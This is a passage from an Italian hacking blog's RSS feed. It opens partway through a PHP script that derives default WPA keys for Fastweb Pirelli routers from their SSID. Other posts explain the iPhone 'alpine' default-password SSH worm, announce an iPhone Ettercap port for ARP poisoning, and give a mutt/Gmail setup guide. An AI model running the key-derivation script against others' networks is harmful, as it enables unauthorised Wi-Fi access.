<span style="color: #000088;">$seq_20</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x22</span><span style="color: #660099; font-weight: bold;">\x33</span><span style="color: #660099; font-weight: bold;">\x11</span><span style="color: #660099; font-weight: bold;">\x34</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x81</span><span style="color: #660099; font-weight: bold;">\xFA</span><span style="color: #660099; font-weight: bold;">\x22</span><span style="color: #660099; font-weight: bold;">\x11</span><span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x11</span><span style="color: #660099; font-weight: bold;">\x12</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x05</span><span style="color: #660099; font-weight: bold;">\x22</span><span style="color: #660099; font-weight: bold;">\x71</span><span style="color: #660099; font-weight: bold;">\x42</span><span style="color: #660099; font-weight: bold;">\x10</span><span style="color: #660099; font-weight: bold;">\x66</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Prelevo la parte finale del SSID.<br />
&nbsp;*/</span> <br />
<span style="color: #000088;">$sn</span> &nbsp; &nbsp; <span style="color: #339933;">=</span> <a href="http://www.php.net/split"><span style="color: #990000;">split</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'-'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$ssid</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$sn</span> &nbsp; &nbsp; <span style="color: #339933;">=</span> <span style="color: #000088;">$sn</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* La divido in gruppi di due caratteri, formando un array<br />
&nbsp;* di 6 rappresentazioni esadecimali di byte.<br />
&nbsp;*/</span><br />
<a href="http://www.php.net/preg_match_all"><span style="color: #990000;">preg_match_all</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;/[a-f0-9]{2}/i&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sn</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sn_bytes</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$sn_bytes</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$sn_bytes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Inizializzo una stringa con il valore intero di questi byte.<br />
&nbsp;*/</span><br />
<span style="color: #000088;">$str</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">6</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$str</span> <span style="color: #339933;">.=</span> <a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span> <a href="http://www.php.net/hexdec"><span style="color: #990000;">hexdec</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$sn_bytes</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #666666; font-style: italic;">/* <br />
&nbsp;* Aggiungo alla stringa i 20 byte &quot;magici&quot;.<br />
&nbsp;*/</span> <br />
<span style="color: #000088;">$str</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$seq_20</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Ricavo i byte dell'hash md5 della stringa<br />
&nbsp;*/</span><br />
<a href="http://www.php.net/preg_match_all"><span style="color: #990000;">preg_match_all</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;/[a-f0-9]{2}/i&quot;</span><span style="color: #339933;">,</span> <a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$str</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$md5_bytes</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$md5_bytes</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$md5_bytes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$long</span> &nbsp; &nbsp; &nbsp;<span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Converto i byte in sequenze binarie di 8 bit.<br />
&nbsp;*/</span><br />
<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$md5_bytes</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$byte</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$long</span> <span style="color: #339933;">.=</span> <a href="http://www.php.net/sprintf"><span style="color: #990000;">sprintf</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;<span style="color: #009933; font-weight: bold;">%08s</span>&quot;</span><span style="color: #339933;">,</span> <a href="http://www.php.net/decbin"><span style="color: #990000;">decbin</span></a><span style="color: #009900;">&#40;</span> <a href="http://www.php.net/hexdec"><span style="color: #990000;">hexdec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$byte</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Divido in 5 gruppi di 5 bit ognuno e, qual'ora il valore intero <br />
&nbsp;* di un gruppo sia maggiore di 0x0a, aggiungo 0x57.<br />
&nbsp;*/</span><br />
<span style="color: #000088;">$hex_5</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">25</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">+=</span> <span style="color: #cc66cc;">5</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$n</span> &nbsp;&nbsp; &nbsp; &nbsp;<span style="color: #339933;">=</span> <a href="http://www.php.net/bindec"><span style="color: #990000;">bindec</span></a><span style="color: #009900;">&#40;</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$long</span><span style="color: #339933;">,</span> <span style="color: #000088;">$i</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">5</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$hex_5</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$n</span> <span style="color: #339933;">&gt;</span> <span style="color: #208080;">0x0a</span> ? <span style="color: #000088;">$n</span> <span style="color: #339933;">+</span> <span style="color: #208080;">0x57</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$n</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Compongo la chiave.<br />
&nbsp;*/</span> <br />
<span style="color: #000088;">$wpa</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$hex_5</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$hex</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$wpa</span> <span style="color: #339933;">.=</span> <a href="http://www.php.net/sprintf"><span style="color: #990000;">sprintf</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;<span style="color: #009933; font-weight: bold;">%02x</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$hex</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;WPA : <span style="color: #006699; font-weight: bold;">$wpa</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Detto questo, a breve pubblicherò uno script analogo ma per i router Alice, dato che stanno uscendo lavori anche in questo senso <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1126">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1126&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/1173/script-per-il-calcolo-della-chiave-wpa-dei-router-alice-gate-voip-2-plus-wi-fi.html' rel='bookmark' title='Permanent Link: Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi'>Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi</a></li>
<li><a href='http://www.evilsocket.net/96/alice-router-unlocker.html' rel='bookmark' title='Permanent Link: Alice Router Unlocker'>Alice Router Unlocker</a></li>
<li><a href='http://www.evilsocket.net/1375/informazione-di-servizio-chiave-pubblica.html' rel='bookmark' title='Permanent Link: Informazione di Servizio, Chiave Pubblica'>Informazione di Servizio, Chiave Pubblica</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1126/script-per-il-calcolo-della-chiave-wpa-nei-router-fastweb-pirelli.html/feed</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>Il Worm dell&#8217;iPhone &#8230; il Jailbreak è rischioso?</title>
		<link>http://www.evilsocket.net/871/il-worm-delliphone-il-jailbreak-e-rischioso.html</link>
		<comments>http://www.evilsocket.net/871/il-worm-delliphone-il-jailbreak-e-rischioso.html#comments</comments>
		<pubDate>Mon, 21 Dec 2009 17:13:36 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Exploiting]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[alpine]]></category>
		<category><![CDATA[default]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[jailbreak]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[worm]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=871</guid>
		<description><![CDATA[Un po di tempo fa ha fatto scalpore il primo virus di tipo worm per iPhone, che nel giro di pochi giorni aveva ownato una miriade di melafonini in giro per il mondo. Dopo l&#8217;accaduto, subito nella rete si sono sparsi svariati rumors, la maggior parte dei quali si può riassumere in : Non eseguite [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/901/resettare-le-password-ed-i-privilegi-di-mysql.html' rel='bookmark' title='Permanent Link: Resettare le password ed i privilegi di MySQL'>Resettare le password ed i privilegi di MySQL</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.evilsocket.net/wp-content/uploads/2009/12/iphone_worm.jpg"><img class="alignleft size-medium wp-image-875" title="iphone_worm" src="http://www.evilsocket.net/wp-content/uploads/2009/12/iphone_worm-300x300.jpg" alt="iphone_worm" width="108" height="108" /></a>Un po di tempo fa ha fatto scalpore il primo virus di tipo worm per iPhone, che nel giro di pochi giorni aveva ownato una miriade di melafonini in giro per il mondo.</p>
<p>Dopo l&#8217;accaduto, subito nella rete si sono sparsi svariati rumors, la maggior parte dei quali si può riassumere in :</p>
<blockquote><p>Non eseguite il jailbreak dell&#8217;iPhone se non volete essere infettati!</p></blockquote>
<p>Dato che sta frase è evidentemente stupida e, in alcuni casi, aimè è stata pronunciata con secondi fini (della serie &#8220;ecco una scusa x far credere a tutti che jailbreakare non va bene&#8221;), tanto xkè non c&#8217;ho niente da fare scrivo un po nel dettaglio cosa faceva sto worm, come funzionava ma soprattutto <strong>PERCHE&#8217;</strong> funzionava.</p>
<p><span id="more-871"></span>Innanzitutto, c&#8217;è da fare un preambolo.</p>
<p>Nel momento in cui si jailbreaka il proprio iPhone, viene installato il demone ssh configurato con la password di root di default &#8220;<strong>alpine</strong>&#8221; (e qui i più svegli hanno già capito l&#8217;inghippo).</p>
<p>Naturalmente è scontato che tale password va <strong>contestualmente cambiata </strong>con una più sicura e meno conosciuta, ma a quanto pare tanto scontato non è dato che gli iPhone ownati erano proprio di persone che non hanno eseguito questo procedimento.</p>
<p>In pratica, il worm in questione, eseguiva una scansione sui seguenti indirizzi:</p>
<table style="text-align: left; width: 478px; margin-left: auto; margin-right: auto;" border="1" cellspacing="0" cellpadding="2">
<tbody>
<tr>
<td style="vertical-align: top;"><small>192.168.0.0-192.168.3.255</small></td>
<td style="vertical-align: top;"><small>Local network</small></td>
</tr>
<tr>
<td style="vertical-align: top;"><small>94.157.100.0-94.157.255.255</small></td>
<td style="vertical-align: top;"><small>T-mobile, Netherlands</small></td>
</tr>
<tr>
<td style="vertical-align: top;"><small>87.103.52.255-87.103.66.255</small></td>
<td style="vertical-align: top;"><small>Vodafone, Portugal</small></td>
</tr>
<tr>
<td style="vertical-align: top;"><small>94.157.0.0.0-120.157.99.255</small></td>
<td style="vertical-align: top;"><small>T-mobile, Netherlands</small></td>
</tr>
<tr>
<td style="vertical-align: top;"><small>114.72.0.0-114.75.255.255</small></td>
<td style="vertical-align: top;"><small>OPTUSINTERNET, Australia</small></td>
</tr>
<tr>
<td style="vertical-align: top;"><small>92.248.90.0-92.248.120.255</small></td>
<td style="vertical-align: top;"><small>MOBILKOM, Austria</small></td>
</tr>
<tr>
<td style="vertical-align: top;"><small>81.217.74.0-81.217.74.255</small></td>
<td style="vertical-align: top;"><small>Kabelsignal AG, Austria</small></td>
</tr>
<tr>
<td style="vertical-align: top;"><small>84.224.60.0-84.224.80.255</small></td>
<td style="vertical-align: top;"><small>Pannon GSM Telecommunications Inc, Hungary</small></td>
</tr>
<tr>
<td style="vertical-align: top;"><small>188.88.100.0-188.88.160.255</small></td>
<td style="vertical-align: top;"><small>T-Mobile, Netherlands</small></td>
</tr>
<tr>
<td style="vertical-align: top;"><small>77.248.140.0-77.248.146.255</small></td>
<td style="vertical-align: top;"><small>UPC Broadband, Austria</small></td>
</tr>
<tr>
<td style="vertical-align: top;"><small>77.54.160.0-77.54.190.255</small></td>
<td style="vertical-align: top;"><small>Vodafone, Portugal</small></td>
</tr>
<tr>
<td style="vertical-align: top;"><small>80.57.116.0-80.57.131.255</small></td>
<td style="vertical-align: top;"><small>UPC Broadband Austria</small></td>
</tr>
<tr>
<td style="vertical-align: top;"><small>84.224.0.0-84.224.63.255</small></td>
<td style="vertical-align: top;"><small>Pannon GSM Telecommunications Inc, Hungary</small></td>
</tr>
</tbody>
</table>
<h5 style="text-align: center;"><em>(tabella prelevata da </em><a href="http://www.csl.sri.com/users/porras/iPhone-Bot/" target="_blank"><em>questo sito</em></a><em>)</em></h5>
<p>Come è facile intuire, sono gli intervalli di indirizzi ip che identificano i maggiori provider di connettività mobile.</p>
<p>Una volta identificato un host attivo tra quelli nell&#8217;intervallo, il worm sostanzialmente verificava se la porta 22 era aperta (quella del demone ssh) e provava a loggarsi con la password di default alpine.</p>
<p>Una volta dentro, copiava se stesso sul dispositivo e continuava la scansione sulla subnet locale del telefono infettato, e così via, ripdoducendosi esponenzialmente.</p>
<p><strong>That&#8217;s fucking all!</strong></p>
<p>Non è stata colpa del jailbreak, non è stata colpa di un mistico exploit 0day che sfruttava qualche strana falla nel sistema &#8230; è stata colpa solo ed esclusivamente, come nel 99% dei casi, della stupidità umana.</p>
<p>Cazzo ma non ti viene in mente di cambiarla la password ssh quando lo installi ?!?!? Bah -.-</p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=871">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=871&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/901/resettare-le-password-ed-i-privilegi-di-mysql.html' rel='bookmark' title='Permanent Link: Resettare le password ed i privilegi di MySQL'>Resettare le password ed i privilegi di MySQL</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/871/il-worm-delliphone-il-jailbreak-e-rischioso.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>IHTeam &#8211; Un nuovo inizio</title>
		<link>http://www.evilsocket.net/858/ihteam-un-nuovo-inizio.html</link>
		<comments>http://www.evilsocket.net/858/ihteam-un-nuovo-inizio.html#comments</comments>
		<pubDate>Sat, 19 Dec 2009 17:59:55 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=858</guid>
		<description><![CDATA[Ormai è tanto che seguo sul web siti di hacking, programmazione e quant&#8217;altro, anni &#8230; di alcuni ho fatto parte in modo attivo, altri li ho fondati e poi abbandonati &#8230; e son finito qui. Con il tempo ero giunto alla conclusione che la mia visione di questo mondo (non necessariamente &#8220;corretta&#8221;, ma è pur [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.evilsocket.net/wp-content/uploads/2009/12/logo_grey.jpg"><img class="alignleft size-full wp-image-859" title="logo_grey" src="http://www.evilsocket.net/wp-content/uploads/2009/12/logo_grey.jpg" alt="logo_grey" width="253" height="89" /></a>Ormai è tanto che seguo sul web siti di hacking, programmazione e quant&#8217;altro, anni &#8230; di alcuni ho fatto parte in modo attivo, altri li ho fondati e poi abbandonati &#8230; e son finito qui.</p>
<p>Con il tempo ero giunto alla conclusione che la mia visione di questo mondo (non necessariamente &#8220;corretta&#8221;, ma è pur sempre mia) non fosse destinata ad esser condivisa con nessuno, vuoi per differenze caratteriali, vuoi per differenze in quanto agli scopi &#8230; e così decisi di chiudere il mio vecchio forum e lasciare questo blog tramite il quale condividere &#8220;tra me e me&#8221; le mie idee.</p>
<p><span id="more-858"></span></p>
<p>Il tempo è passato, molti siti ho continuato a controllarli di tanto in tanto senza intervenire attivamente e le mie conclusioni hanno quasi sempre trovato un ulteriore conferma &#8230; quasi &#8230; poichè un sito, una comunity, mi è sempre sembrata diversa.</p>
<p>Questo gruppo di ragazzi ha iniziato da 0 e con il tempo ha continuato ad ampliare le proprie conoscenze, a pubblicare materiale interessantissimo, senza mai sfociare nel lamering e senza pretendere di essere &#8220;il miglior gruppo di hacking&#8221; sulla scena &#8230; anzi, da quel che mi risulta non si sono mai riferiti a loro stessi con queste parole, hanno lasciato parlare i loro lavori per loro.</p>
<p>Sto parlando dell&#8217; <a href="https://www.ihteam.net/" target="_blank">Inclusion Hunter Team</a> &#8230; con Marco (white_sheep) ci siamo conosciuti in facoltà (ebbene si, me lo ritrovo pure all&#8217;università sto rompipalle! XD) e abbiam passato intere lezioni di analisi (l&#8217;unica altra opzione era addormentarsi) a chiacchierare di server, reti neurali e amenità di questo tipo.</p>
<p>Con Simone (r00t.ati), il quale ha iniziato la stessa facoltà quest&#8217;anno, ci sarà sicuramente modo di conoscersi presto per quanto lo conoscevo già da tanto, fin dai tempi del &#8220;fu&#8221; Notsec Group (bei tempi, se non fosse stato per un frocio maledetto sarebbe stato uno dei gruppi + tecnicamente avanzati della scena) .</p>
<p>Mentre con Francesco (merlok) sta nascendo da qualche settimana un amicizia ed un intesa sempre più consolidate, poichè oltre a me è l&#8217;unico pazzo che sta mettendo mano al codice di Hybris collaborando attivamente <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Insomma per farla breve, sono entrato a far parte ufficialmente del loro gruppo, ne sono profondamente onorato e spero di poter dare il mio cotributo al massimo delle mie possibilità e dei miei skills, magari (magari!) imparando da loro tutte quelle cose che ancora non so (e sono tantissime :S).</p>
<p>Che altro dire &#8230; spacchiami il culetto ai passeri! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=858">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=858&type=feed" alt="" />

<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/858/ihteam-un-nuovo-inizio.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>iPhone Ettercap Port</title>
		<link>http://www.evilsocket.net/795/iphone-ettercap-port.html</link>
		<comments>http://www.evilsocket.net/795/iphone-ettercap-port.html#comments</comments>
		<pubDate>Mon, 02 Nov 2009 05:02:57 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=795</guid>
		<description><![CDATA[Recentemente ho avuto il piacere di collaborare con alcuni ragazzi di hackint0sh per il porting di Ettercap su iPhone (e si, pirni non ci bastava XD) . Inutile dire l&#8217;enorme sforzo che tutti abbiamo fatto (+ che altro loro, io sono arrivato a lavori avanzati ed ho dovuto correggere solo alcune cosette, che tutta via [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.erriko.it/images/hacking.png" alt="" width="115" height="98" />Recentemente ho avuto il piacere di collaborare con alcuni ragazzi di hackint0sh per il porting di Ettercap su iPhone (e si, pirni non ci bastava XD) .</p>
<p>Inutile dire l&#8217;enorme sforzo che tutti abbiamo fatto (+ che altro loro, io sono arrivato a lavori avanzati ed ho dovuto correggere solo alcune cosette, che tutta via stavano bloccando tutto <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ) e onestamente nemmeno mi sento di scrivere &#8220;finalmente ecco il porting di Ettercap per iPhone&#8221; poichè allo stato dell&#8217;arte c&#8217;è solo una versione super-sperimentale-ultra-patchata-a-mano-pork-around, che tutta via, escluse alcune piccole anomalie qua e la, sembra funzionare egregiamente.</p>
<p><span id="more-795"></span>Durante l&#8217;ultima sessione con i ragazzi, ho fatto uno shot del mio schermo mentre ero in ssh sul mio iPhone e stavo usando Ettercap con la funzionalità ncurses (ovviamente scordatevi della gui Gtk) :</p>
<p style="text-align: center; "><a href="http://img171.imageshack.us/img171/1198/screenshot2l.png"><img class="aligncenter" src="http://img171.imageshack.us/img171/1198/screenshot2l.png" alt="" width="461" height="368" /></a></p>
<p>Se vi interessa installare e provare questa versione, inutile dire che avrete bisogno di un iPhone jailbreakato, dovrete aggiungere su Cydia il repository</p>
<blockquote><p>http://theworm.altervista.org/cydia/</p></blockquote>
<p>Che è di uno dei ragazzi con i quali sto collaborando, ed installare da questo repo libnet e ettercap &#8230;. buon poisoning! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>PS: Nel repo di TheWorm trovate anche il toolchain per firmware 3.0 già compilato e pacchettizzato <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=795">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=795&type=feed" alt="" />

<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/795/iphone-ettercap-port.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Configurare Mutt e SSMTP con GMail</title>
		<link>http://www.evilsocket.net/770/configurare-mutt-e-ssmtp-con-gmail.html</link>
		<comments>http://www.evilsocket.net/770/configurare-mutt-e-ssmtp-con-gmail.html#comments</comments>
		<pubDate>Fri, 19 Jun 2009 16:52:14 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Papers]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[gmail]]></category>
		<category><![CDATA[imap]]></category>
		<category><![CDATA[invio email]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[mutt]]></category>
		<category><![CDATA[pop]]></category>
		<category><![CDATA[ricezione email]]></category>
		<category><![CDATA[smtp]]></category>
		<category><![CDATA[ssmtp]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=770</guid>
		<description><![CDATA[Ho appena finito di installare e configurare mutt e ssmtp sulla Alix per inviare e ricevere email tramite il mio account gmail da console via ssh,Â  cosÃ¬ vi riporto molto velocemente le varie configurazioni da impostare per far funzionare questi splendidi software con il nostro account gmail . Innanzitutto procediamo con il primo passo, cioÃ¨ [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Ho appena finito di installare e configurare <strong>mutt</strong> e <strong>ssmtp</strong> sulla Alix per inviare e ricevere email tramite il mio account gmail da console via ssh,Â  cosÃ¬ vi riporto molto velocemente le varie configurazioni da impostare per far funzionare questi splendidi software con il nostro account gmail .</p>
<p><span id="more-770"></span><br />
Innanzitutto procediamo con il primo passo, cioÃ¨ l&#8217;installazione dei due sw</p>
<blockquote>
<pre>sudo apt-get install <strong>mutt</strong> <strong>ssmtp</strong></pre>
</blockquote>
<p>Una volta finito il processo di installazione, andiamo ad editare il file <strong>/etc/ssmtp/ssmtp.conf</strong> per configurare l&#8217;INVIO delle email, copiandoci dentro questo contenuto :</p>
<blockquote>
<pre>root=<strong>vostra_email@gmail.com</strong>
mailhub=<strong>smtp.gmail.com:465</strong>
UseTLS=<strong>YES</strong>
hostname=<strong>hostname_del_pc</strong>
FromLineOverride=<strong>YES</strong></pre>
</blockquote>
<p>Ora dobbiamo creare il file <strong>~/.muttrc</strong> nel quale inseriremo i parametri relativi alla connessione IMAP per la ricezione delle email ed il comando ssmtp per l&#8217;invio :</p>
<blockquote>
<pre>set imap_user = "<strong>vostra_email@gmail.com</strong>"
set imap_pass = "<strong>vostra_password</strong>"
set from = "<strong>vostra_email@gmail.com</strong>"
set realname = "<strong>vostro_nome</strong>"</pre>
<pre>set sendmail = "<strong>/usr/sbin/ssmtp -f<em>vostro_nome</em> -au <em>vostra_email@gmail.com</em> -ap <em>vostra_password</em></strong>"
set folder = "<strong>imaps://imap.gmail.com:993</strong>"
set spoolfile = "<strong>+INBOX</strong>"
set postponed="<strong>+[Gmail]/Drafts</strong>"
set header_cache=<strong>~/.mutt/cache/headers</strong>
set message_cachedir=<strong>~/.mutt/cache/bodies</strong>
set certificate_file=<strong>~/.mutt/certificates</strong>
set sort = '<strong>threads</strong>'
set sort_aux = '<strong>last-date-received</strong>'
set imap_check_subscribed
set move = <strong>no</strong>

ignore "<strong>Authentication-Results:</strong>"
ignore "<strong>DomainKey-Signature:</strong>"
ignore "<strong>DKIM-Signature:</strong>"
hdr_order <strong>Date From To Cc</strong></pre>
</blockquote>
<p>Fatto questo, tutto Ã¨ pronto, avviate mutt (al primo avvio dovrete premere &#8216;<strong>a</strong>&#8216; per accettare in modo permanente il certificato del server IMAP) e godetevi la vostra posta elettronica in console <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><img class="aligncenter size-full wp-image-772" title="mutt" src="http://www.evilsocket.net/wp-content/uploads/2009/06/mutt.png" alt="mutt" width="890" height="551" /></p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=770">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=770&type=feed" alt="" />

<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/770/configurare-mutt-e-ssmtp-con-gmail.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WP-Sentinel Pubblicato</title>
		<link>http://www.evilsocket.net/764/wp-sentinel-pubblicato.html</link>
